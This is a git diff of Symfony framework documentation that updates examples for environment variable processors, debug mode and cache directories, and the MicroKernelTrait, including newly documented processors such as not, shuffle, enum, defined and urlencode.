$framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool()); + }; + +``env(not:FOO)`` + Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value + (falsy values are returned as ``true``, truthy values are returned as ``false``): + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + parameters: + safe_for_production: '%env(not:APP_DEBUG)%' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="safe_for_production">%env(not:APP_DEBUG)%</parameter> + </parameters> + + </container> + + .. code-block:: php + + // config/services.php + $container->setParameter('safe_for_production', '%env(not:APP_DEBUG)%'); ``env(int:FOO)`` Casts ``FOO`` to an int. @@ -180,15 +229,15 @@ Symfony provides the following env var processors: .. code-block:: php // config/packages/security.php - $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD'); - $container->loadFromExtension('security', [ - 'access_control' => [ - [ - 'path' => '^/health-check$', - 'methods' => '%env(const:HEALTH_CHECK_METHOD)%', - ], - ], - ]); + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\SecurityConfig; + + return static function (ContainerBuilder $container, SecurityConfig $security): void { + $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD'); + $security->accessControl() + ->path('^/health-check$') + ->methods([env('HEALTH_CHECK_METHOD')->const()]); + }; ``env(base64:FOO)`` Decodes the content of ``FOO``, which is a base64 encoded string. @@ -203,9 +252,8 @@ Symfony provides the following env var processors: # config/packages/framework.yaml parameters: - env(TRUSTED_HOSTS): '["10.0.0.1", "10.0.0.2"]' - framework: - trusted_hosts: '%env(json:TRUSTED_HOSTS)%' + env(ALLOWED_LANGUAGES): '["en","de","es"]' + app_allowed_languages: '%env(json:ALLOWED_LANGUAGES)%' .. code-block:: xml @@ -220,19 +268,23 @@ Symfony provides the following env var processors: https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <parameters> - <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter> + <parameter key="env(ALLOWED_LANGUAGES)">["en","de","es"]</parameter> + <parameter key="app_allowed_languages">%env(json:ALLOWED_LANGUAGES)%</parameter> </parameters> - - <framework:config trusted-hosts="%env(json:TRUSTED_HOSTS)%"/> </container> .. code-block:: php // config/packages/framework.php - $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]'); - $container->loadFromExtension('framework', [ - 'trusted_hosts' => '%env(json:TRUSTED_HOSTS)%', - ]); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container): void { + $container->setParameter('env(ALLOWED_LANGUAGES)', '["en","de","es"]'); + $container->setParameter('app_allowed_languages', '%env(json:ALLOWED_LANGUAGES)%'); + }; ``env(resolve:FOO)`` If the content of ``FOO`` includes container parameters (with the syntax @@ -244,8 +296,7 @@ Symfony provides the following env var processors: # config/packages/sentry.yaml parameters: - env(HOST): '10.0.0.1' - sentry_host: '%env(HOST)%' + sentry_host: '10.0.0.1' env(SENTRY_DSN): 'http://%sentry_host%/project' sentry: dsn: '%env(resolve:SENTRY_DSN)%' @@ -260,8 +311,7 @@ Symfony provides the following env var processors: https://symfony.com/schema/dic/services/services-1.0.xsd"> <parameters> - <parameter key="env(HOST)">10.0.0.1</parameter> - <parameter key="sentry_host">%env(HOST)%</parameter> + <parameter key="sentry_host">10.0.0.1</parameter> <parameter key="env(SENTRY_DSN)">http://%sentry_host%/project</parameter> </parameters> @@ -271,8 +321,7 @@ Symfony provides the following env var processors: .. code-block:: php // config/packages/sentry.php - $container->setParameter('env(HOST)', '10.0.0.1'); - $container->setParameter('sentry_host', '%env(HOST)%'); + $container->setParameter('sentry_host', '10.0.0.1'); $container->setParameter('env(SENTRY_DSN)', 'http://%sentry_host%/project'); $container->loadFromExtension('sentry', [ 'dsn' => '%env(resolve:SENTRY_DSN)%', @@ -281,12 +330,94 @@ Symfony provides the following env var processors: ``env(csv:FOO)`` Decodes the content of ``FOO``, which is a CSV-encoded string: - .. code-block:: yaml + .. configuration-block:: - parameters: - env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2" - framework: - trusted_hosts: '%env(csv:TRUSTED_HOSTS)%' + .. code-block:: yaml + + # config/packages/framework.yaml + parameters: + env(ALLOWED_LANGUAGES): "en,de,es" + app_allowed_languages: '%env(csv:ALLOWED_LANGUAGES)%' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="env(ALLOWED_LANGUAGES)">en,de,es</parameter> + <parameter key="app_allowed_languages">%env(csv:ALLOWED_LANGUAGES)%</parameter> + </parameters> + </container> + + .. code-block:: php + + // config/packages/framework.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container): void { + $container->setParameter('env(ALLOWED_LANGUAGES)', 'en,de,es'); + $container->setParameter('app_allowed_languages', '%env(csv:ALLOWED_LANGUAGES)%'); + }; + +``env(shuffle:FOO)`` + Randomly shuffles values of the ``FOO`` env var, which must be an array. + + .. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + parameters: + env(REDIS_NODES): "127.0.0.1:6380,127.0.0.1:6381" + services: + RedisCluster: + class: RedisCluster + arguments: [null, "%env(shuffle:csv:REDIS_NODES)%"] + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="env(REDIS_NODES)">redis://127.0.0.1:6380,redis://127.0.0.1:6381</parameter> + </parameters> + + <services> + <service id="RedisCluster" class="RedisCluster"> + <argument>null</argument> + <argument>%env(shuffle:csv:REDIS_NODES)%</argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + + return static function (ContainerConfigurator $containerConfigurator): void { + $container = $containerConfigurator->services() + ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']); + }; ``env(file:FOO)`` Returns the contents of a file whose path is the value of the ``FOO`` env var: @@ -297,7 +428,7 @@ Symfony provides the following env var processors: # config/packages/framework.yaml parameters: - env(AUTH_FILE): '../config/auth.json' + env(AUTH_FILE): '%kernel.project_dir%/config/auth.json' google: auth: '%env(file:AUTH_FILE)%' @@ -338,7 +469,7 @@ Symfony provides the following env var processors: # config/packages/framework.yaml parameters: - env(PHP_FILE): '../config/.runtime-evaluated.php' + env(PHP_FILE): '%kernel.project_dir%/config/.runtime-evaluated.php' app: auth: '%env(require:PHP_FILE)%' @@ -366,7 +497,7 @@ Symfony provides the following env var processors: // config/packages/framework.php $container->setParameter('env(PHP_FILE)', '../config/.runtime-evaluated.php'); $container->loadFromExtension('app', [ - 'auth' => '%env(require:AUTH_FILE)%', + 'auth' => '%env(require:PHP_FILE)%', ]); ``env(trim:FOO)`` @@ -380,7 +511,7 @@ Symfony provides the following env var processors: # config/packages/framework.yaml parameters: - env(AUTH_FILE): '../config/auth.json' + env(AUTH_FILE): '%kernel.project_dir%/config/auth.json' google: auth: '%env(trim:file:AUTH_FILE)%' @@ -489,8 +620,8 @@ Symfony provides the following env var processors: $container->setParameter('private_key', '%env(default:raw_key:file:PRIVATE_KEY)%'); $container->setParameter('raw_key', '%env(PRIVATE_KEY)%'); - When the fallback parameter is omitted (e.g. ``env(default::API_KEY)``), the - value returned is ``null``. + When the fallback parameter is omitted (e.g. ``env(default::API_KEY)``), then the + returned value is ``null``. ``env(url:FOO)`` Parses an absolute URL and returns its components as an associative array. @@ -509,9 +640,9 @@ Symfony provides the following env var processors: clients: default: hosts: - - { host: '%env(key:host:url:MONGODB_URL)%', port: '%env(key:port:url:MONGODB_URL)%' } - username: '%env(key:user:url:MONGODB_URL)%' - password: '%env(key:pass:url:MONGODB_URL)%' + - { host: '%env(string:key:host:url:MONGODB_URL)%', port: '%env(int:key:port:url:MONGODB_URL)%' } + username: '%env(string:key:user:url:MONGODB_URL)%' + password: '%env(string:key:pass:url:MONGODB_URL)%' connections: default: database_name: '%env(key:path:url:MONGODB_URL)%' @@ -526,8 +657,8 @@ Symfony provides the following env var processors: https://symfony.com/schema/dic/services/services-1.0.xsd"> <mongodb:config> - <mongodb:client name="default" username="%env(key:user:url:MONGODB_URL)%" password="%env(key:pass:url:MONGODB_URL)%"> - <mongodb:host host="%env(key:host:url:MONGODB_URL)%" port="%env(key:port:url:MONGODB_URL)%"/> + <mongodb:client name="default" username="%env(string:key:user:url:MONGODB_URL)%" password="%env(string:key:pass:url:MONGODB_URL)%"> + <mongodb:host host="%env(string:key:host:url:MONGODB_URL)%" port="%env(int:key:port:url:MONGODB_URL)%"/> </mongodb:client> <mongodb:connections name="default" database_name="%env(key:path:url:MONGODB_URL)%"/> </mongodb:config> @@ -541,12 +672,12 @@ Symfony provides the following env var processors: 'default' => [ 'hosts' => [ [ - 'host' => '%env(key:host:url:MONGODB_URL)%', - 'port' => '%env(key:port:url:MONGODB_URL)%', + 'host' => '%env(string:key:host:url:MONGODB_URL)%', + 'port' => '%env(int:key:port:url:MONGODB_URL)%', ], ], - 'username' => '%env(key:user:url:MONGODB_URL)%', - 'password' => '%env(key:pass:url:MONGODB_URL)%', + 'username' => '%env(string:key:user:url:MONGODB_URL)%', + 'password' => '%env(string:key:pass:url:MONGODB_URL)%', ], ], 'connections' => [ @@ -556,7 +687,7 @@ Symfony provides the following env var processors: ], ]); - .. caution:: + .. warning:: In order to ease extraction of the resource from the URL, the leading ``/`` is trimmed from the ``path`` component. @@ -607,18 +738,187 @@ Symfony provides the following env var processors: ], ]); +``env(enum:FooEnum:BAR)`` + Tries to convert an environment variable to an actual ``\BackedEnum`` value. + This processor takes the fully qualified name of the ``\BackedEnum`` as an argument:: + + // App\Enum\Suit.php + enum Suit: string + { + case Clubs = 'clubs'; + case Spades = 'spades'; + case Diamonds = 'diamonds'; + case Hearts = 'hearts'; + } + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + parameters: + suit: '%env(enum:App\Enum\Suit:CARD_SUIT)%' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="suit">%env(enum:App\Enum\Suit:CARD_SUIT)%</parameter> + </parameters> + </container> + + .. code-block:: php + + // config/services.php + $container->setParameter('suit', '%env(enum:App\Enum\Suit:CARD_SUIT)%'); + + The value stored in the ``CARD_SUIT`` env var would be a string (e.g. ``'spades'``) + but the application will use the enum value (e.g. ``Suit::Spades``). + +``env(defined:NO_FOO)`` + Evaluates to ``true`` if the env var exists and its value is not ``''`` + (an empty string) or ``null``; it returns ``false`` otherwise. + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + parameters: + typed_env: '%env(defined:FOO)%' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="typed_env"'%env(defined:FOO)%</parameter> + </parameters> + </container> + + .. code-block:: php + + // config/services.php + $container->setParameter('typed_env', '%env(defined:FOO)%'); + +.. _urlencode_environment_variable_processor: + +``env(urlencode:FOO)`` + Encodes the content of the ``FOO`` env var using the :phpfunction:`urlencode` + PHP function. This is especially useful when ``FOO`` value is not compatible + with DSN syntax. + + .. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + parameters: + env(DATABASE_URL): 'mysql://db_user:foo@b$r@127.0.0.1:3306/db_name' + encoded_database_url: '%env(urlencode:DATABASE_URL)%' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="env(DATABASE_URL)">mysql://db_user:foo@b$r@127.0.0.1:3306/db_name</parameter> + <parameter key="encoded_database_url">%env(urlencode:DATABASE_URL)%</parameter> + </parameters> + </container> + + .. code-block:: php + + // config/packages/framework.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container): void { + $container->setParameter('env(DATABASE_URL)', 'mysql://db_user:foo@b$r@127.0.0.1:3306/db_name'); + $container->setParameter('encoded_database_url', '%env(urlencode:DATABASE_URL)%'); + }; + + .. versionadded:: 7.1 + + The ``env(urlencode:...)`` env var processor was introduced in Symfony 7.1. + It is also possible to combine any number of processors: -.. code-block:: yaml +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + parameters: + env(AUTH_FILE): "%kernel.project_dir%/config/auth.json" + google: + # 1. gets the value of the AUTH_FILE env var + # 2. replaces the values of any config param to get the config path + # 3. gets the content of the file stored in that path + # 4. JSON-decodes the content of the file and returns it + auth: '%env(json:file:resolve:AUTH_FILE)%' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <parameter key="env(AUTH_FILE)">%kernel.project_dir%/config/auth.json</parameter> + </parameters> + + <!-- 1. gets the value of the AUTH_FILE env var --> + <!-- 2. replaces the values of any config param to get the config path --> + <!-- 3. gets the content of the file stored in that path --> + <!-- 4. JSON-decodes the content of the file and returns it --> + <google auth="%env(json:file:resolve:AUTH_FILE)%"/> + </container> - parameters: - env(AUTH_FILE): "%kernel.project_dir%/config/auth.json" - google: - # 1. gets the value of the AUTH_FILE env var - # 2. replaces the values of any config param to get the config path - # 3. gets the content of the file stored in that path - # 4. JSON-decodes the content of the file and returns it - auth: '%env(json:file:resolve:AUTH_FILE)%' + .. code-block:: php + + // config/packages/framework.php + $container->setParameter('env(AUTH_FILE)', '%kernel.project_dir%/config/auth.json'); + // 1. gets the value of the AUTH_FILE env var + // 2. replaces the values of any config param to get the config path + // 3. gets the content of the file stored in that path + // 4. JSON-decodes the content of the file and returns it + $container->loadFromExtension('google', [ + 'auth' => '%env(json:file:resolve:AUTH_FILE)%', + ]); Custom Environment Variable Processors -------------------------------------- @@ -631,14 +931,14 @@ create a class that implements class LowercasingEnvVarProcessor implements EnvVarProcessorInterface { - public function getEnv($prefix, $name, \Closure $getEnv) + public function getEnv(string $prefix, string $name, \Closure $getEnv): string { $env = $getEnv($name); return strtolower($env); } - public static function getProvidedTypes() + public static function getProvidedTypes(): array { return [ 'lowercase' => 'string', @@ -651,3 +951,9 @@ To enable the new processor in the app, register it as a service and tag. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`. + +Resolving Environment Variable At Compile Time +---------------------------------------------- + +Environment variables are resolved at runtime, but you can also resolve them +:ref:`at compile time <resolving-env-vars-at-compile-time>`. diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst index fe3c8179ed0..b55f66afc33 100644 --- a/configuration/front_controllers_and_kernel.rst +++ b/configuration/front_controllers_and_kernel.rst @@ -1,7 +1,3 @@ -.. index:: - single: How the front controller, ``Kernel`` and environments - work together - Understanding how the Front Controller, Kernel and Environments Work together ============================================================================= @@ -122,9 +118,6 @@ new kernel. But odds are high that you don't need to change things like this on the fly by having several ``Kernel`` implementations. -.. index:: - single: Configuration; Debug mode - .. _debug-mode: Debug Mode @@ -135,7 +128,7 @@ should run in "debug mode". Regardless of the :ref:`configuration environment <configuration-environments>`, a Symfony application can be run with debug mode set to ``true`` or ``false``. -This affects many things in the application, such as displaying stacktraces on +This affects many things in the application, such as displaying stack traces on error pages or if cache files are dynamically rebuilt on each request. Though not a requirement, debug mode is generally set to ``true`` for the ``dev`` and ``test`` environments and ``false`` for the ``prod`` environment. @@ -190,10 +183,13 @@ parameter used, for example, to turn Twig's debug mode on: .. code-block:: php - $container->loadFromExtension('twig', [ - 'debug' => '%kernel.debug%', + // config/packages/twig.php + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { // ... - ]); + $twig->debug('%kernel.debug%'); + }; The Environments ---------------- @@ -216,9 +212,6 @@ config files found on ``config/packages/*`` and then, the files found on ``config/packages/ENVIRONMENT_NAME/``. You are free to implement this method differently if you need a more sophisticated way of loading your configuration. -.. index:: - single: Environments; Cache directory - Environments and the Cache Directory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -244,17 +237,16 @@ the directory of the environment you're using (most commonly ``dev/`` while developing and debugging). While it can vary, the ``var/cache/dev/`` directory includes the following: -``srcApp_KernelDevDebugContainer.php`` +``App_KernelDevDebugContainer.php`` The cached "service container" that represents the cached application configuration. -``UrlGenerator.php`` - The PHP class generated from the routing configuration and used when - generating URLs. +``url_generating_routes.php`` + The cached routing configuration used when generating URLs. -``UrlMatcher.php`` - The PHP class used for route matching - look here to see the compiled regular - expression logic used to match incoming URLs to different routes. +``url_matching_routes.php`` + The cached configuration used for route matching - look here to see the compiled + regular expression logic used to match incoming URLs to different routes. ``twig/`` This directory contains all the cached Twig templates. diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst index 890f60d1ca8..542532ee1af 100644 --- a/configuration/micro_kernel_trait.rst +++ b/configuration/micro_kernel_trait.rst @@ -16,62 +16,91 @@ via Composer: .. code-block:: terminal - $ composer require symfony/config symfony/http-kernel \ - symfony/http-foundation symfony/routing \ - symfony/dependency-injection symfony/framework-bundle + $ composer require symfony/framework-bundle symfony/runtime -Next, create an ``index.php`` file that defines the kernel class and runs it:: +Next, create an ``index.php`` file that defines the kernel class and runs it: - // index.php - use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; - use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; - use Symfony\Component\HttpFoundation\JsonResponse; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpKernel\Kernel as BaseKernel; - use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; +.. configuration-block:: - require __DIR__.'/vendor/autoload.php'; + .. code-block:: php-attributes - class Kernel extends BaseKernel - { - use MicroKernelTrait; + // index.php + use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + use Symfony\Component\Routing\Attribute\Route; - public function registerBundles(): array - { - return [ - new Symfony\Bundle\FrameworkBundle\FrameworkBundle(), - ]; - } + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; - protected function configureContainer(ContainerConfigurator $c): void + class Kernel extends BaseKernel { - // PHP equivalent of config/packages/framework.yaml - $c->extension('framework', [ - 'secret' => 'S0ME_SECRET' - ]); - } + use MicroKernelTrait; - protected function configureRoutes(RoutingConfigurator $routes): void - { - $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']); + protected function configureContainer(ContainerConfigurator $container): void + { + // PHP equivalent of config/packages/framework.yaml + $container->extension('framework', [ + 'secret' => 'S0ME_SECRET' + ]); + } + + #[Route('/random/{limit}', name: 'random_number')] + public function randomNumber(int $limit): JsonResponse + { + return new JsonResponse([ + 'number' => random_int(0, $limit), + ]); + } } - public function randomNumber(int $limit): JsonResponse + return static function (array $context) { + return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']); + }; + + .. code-block:: php + + // index.php + use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + class Kernel extends BaseKernel { - return new JsonResponse([ - 'number' => random_int(0, $limit), - ]); + use MicroKernelTrait; + + protected function configureContainer(ContainerConfigurator $container): void + { + // PHP equivalent of config/packages/framework.yaml + $container->extension('framework', [ + 'secret' => 'S0ME_SECRET' + ]); + } + + protected function configureRoutes(RoutingConfigurator $routes): void + { + $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']); + } + + public function randomNumber(int $limit): JsonResponse + { + return new JsonResponse([ + 'number' => random_int(0, $limit), + ]); + } } - } - $kernel = new Kernel('dev', true); - $request = Request::createFromGlobals(); - $response = $kernel->handle($request); - $response->send(); - $kernel->terminate($request, $response); + return static function (array $context) { + return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']); + }; -That's it! To test it, start the :doc:`Symfony Local Web Server -</setup/symfony_server>`: +That's it! To test it, start the :ref:`Symfony local web server <symfony-cli-server>`: .. code-block:: terminal @@ -79,6 +108,23 @@ That's it! To test it, start the :doc:`Symfony Local Web Server Then see the JSON response in your browser: http://localhost:8000/random/10 +.. tip:: + + If your kernel only defines a single controller, you can use an invokable method:: + + class Kernel extends BaseKernel + { + use MicroKernelTrait; + + // ... + + #[Route('/random/{limit}', name: 'random_number')] + public function __invoke(int $limit): JsonResponse + { + // ... + } + } + The Methods of a "Micro" Kernel ------------------------------- @@ -86,24 +132,90 @@ When you use the ``MicroKernelTrait``, your kernel needs to have exactly three m that define your bundles, your services and your routes: **registerBundles()** - This is the same ``registerBundles()`` that you see in a normal kernel. + This is the same ``registerBundles()`` that you see in a normal kernel. By + default, the micro kernel only registers the ``FrameworkBundle``. If you need + to register more bundles, override this method:: + + use Symfony\Bundle\FrameworkBundle\FrameworkBundle; + use Symfony\Bundle\TwigBundle\TwigBundle; + // ... + + class Kernel extends BaseKernel + { + use MicroKernelTrait; + + // ... + + public function registerBundles(): array + { + yield new FrameworkBundle(); + yield new TwigBundle(); + } + } -**configureContainer(ContainerConfigurator $c)** +**configureContainer(ContainerConfigurator $container)** This method builds and configures the container. In practice, you will use ``extension()`` to configure different bundles (this is the equivalent of what you see in a normal ``config/packages/*`` file). You can also register services directly in PHP or load external configuration files (shown below). **configureRoutes(RoutingConfigurator $routes)** - Your job in this method is to add routes to the application. The - ``RoutingConfigurator`` has methods that make adding routes in PHP more - fun. You can also load external routing files (shown below). + In this method, you can use the ``RoutingConfigurator`` object to define routes + in your application and associate them to the controllers defined in this very + same file. + + However, it's more convenient to define the controller routes using PHP attributes, + as shown above. That's why this method is commonly used only to load external + routing files (e.g. from bundles) as shown below. + +Adding Interfaces to "Micro" Kernel +----------------------------------- + +When using the ``MicroKernelTrait``, you can also implement the +``CompilerPassInterface`` to automatically register the kernel itself as a +compiler pass as explained in the dedicated +:ref:`compiler pass section <kernel-as-compiler-pass>`. If the +:class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface` +is implemented when using the ``MicroKernelTrait``, then the kernel will +be automatically registered as an extension. You can learn more about it in +the dedicated section about +:ref:`managing configuration with extensions <components-dependency-injection-extension>`. + +It is also possible to implement the ``EventSubscriberInterface`` to handle +events directly from the kernel, again it will be registered automatically:: + + // ... + use App\Exception\Danger; + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\HttpKernel\Event\ExceptionEvent; + use Symfony\Component\HttpKernel\KernelEvents; + + class Kernel extends BaseKernel implements EventSubscriberInterface + { + use MicroKernelTrait; + + // ... + + public function onKernelException(ExceptionEvent $event): void + { + if ($event->getThrowable() instanceof Danger) { + $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔')); + } + } + + public static function getSubscribedEvents(): array + { + return [ + KernelEvents::EXCEPTION => 'onKernelException', + ]; + } + } Advanced Example: Twig, Annotations and the Web Debug Toolbar ------------------------------------------------------------- The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application. -Instead, its goal to give you the power to choose your bundles and structure. +Instead, its goal is to give you the power to choose your bundles and structure. First, you'll probably want to put your PHP classes in an ``src/`` directory. Configure your ``composer.json`` file to load from there: @@ -123,14 +235,20 @@ your ``composer.json`` file to load from there: Then, run ``composer dump-autoload`` to dump your new autoload config. -Now, suppose you want to use Twig and load routes via annotations. Instead of -putting *everything* in ``index.php``, create a new ``src/Kernel.php`` to -hold the kernel. Now it looks like this:: +Now, suppose you want to define a custom configuration for your app, +use Twig and load routes via annotations. Instead of putting *everything* +in ``index.php``, create a new ``src/Kernel.php`` to hold the kernel. +Now it looks like this:: // src/Kernel.php namespace App; + use App\DependencyInjection\AppExtension; + use Symfony\Bundle\FrameworkBundle\FrameworkBundle; use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Bundle\TwigBundle\TwigBundle; + use Symfony\Bundle\WebProfilerBundle\WebProfilerBundle; + use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; use Symfony\Component\HttpKernel\Kernel as BaseKernel; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; @@ -139,26 +257,27 @@ hold the kernel. Now it looks like this:: { use MicroKernelTrait; - public function registerBundles(): array + public function registerBundles(): iterable { - $bundles = [ - new \Symfony\Bundle\FrameworkBundle\FrameworkBundle(), - new \Symfony\Bundle\TwigBundle\TwigBundle(), - ]; + yield new FrameworkBundle(); + yield new TwigBundle(); - if ($this->getEnvironment() == 'dev') { - $bundles[] = new \Symfony\Bundle\WebProfilerBundle\WebProfilerBundle(); + if ('dev' === $this->getEnvironment()) { + yield new WebProfilerBundle(); } + } - return $bundles; + protected function build(ContainerBuilder $containerBuilder): void + { + $containerBuilder->registerExtension(new AppExtension()); } - protected function configureContainer(ContainerConfigurator $c): void + protected function configureContainer(ContainerConfigurator $container): void { - $c->import(__DIR__.'/../config/framework.yaml'); + $container->import(__DIR__.'/../config/framework.yaml'); // register all classes in /src/ as service - $c->services() + $container->services() ->load('App\\', __DIR__.'/*') ->autowire() ->autoconfigure() @@ -166,7 +285,7 @@ hold the kernel. Now it looks like this:: // configure WebProfilerBundle only if the bundle is enabled if (isset($this->bundles['WebProfilerBundle'])) { - $c->extension('web_profiler', [ + $container->extension('web_profiler', [ 'toolbar' => true, 'intercept_redirects' => false, ]); @@ -177,32 +296,59 @@ hold the kernel. Now it looks like this:: { // import the WebProfilerRoutes, only if the bundle is enabled if (isset($this->bundles['WebProfilerBundle'])) { - $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.xml')->prefix('/_wdt'); - $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml')->prefix('/_profiler'); + $routes->import('@WebProfilerBundle/Resources/config/routing/wdt.php', 'php')->prefix('/_wdt'); + $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.php', 'php')->prefix('/_profiler'); } - // load the annotation routes - $routes->import(__DIR__.'/Controller/', 'annotation'); + // load the routes defined as PHP attributes + // (use 'annotation' as the second argument if you define routes as annotations) + $routes->import(__DIR__.'/Controller/', 'attribute'); } - // optional, to use the standard Symfony cache directory - public function getCacheDir(): string - { - return __DIR__.'/../var/cache/'.$this->getEnvironment(); - } - - // optional, to use the standard Symfony logs directory - public function getLogDir(): string - { - 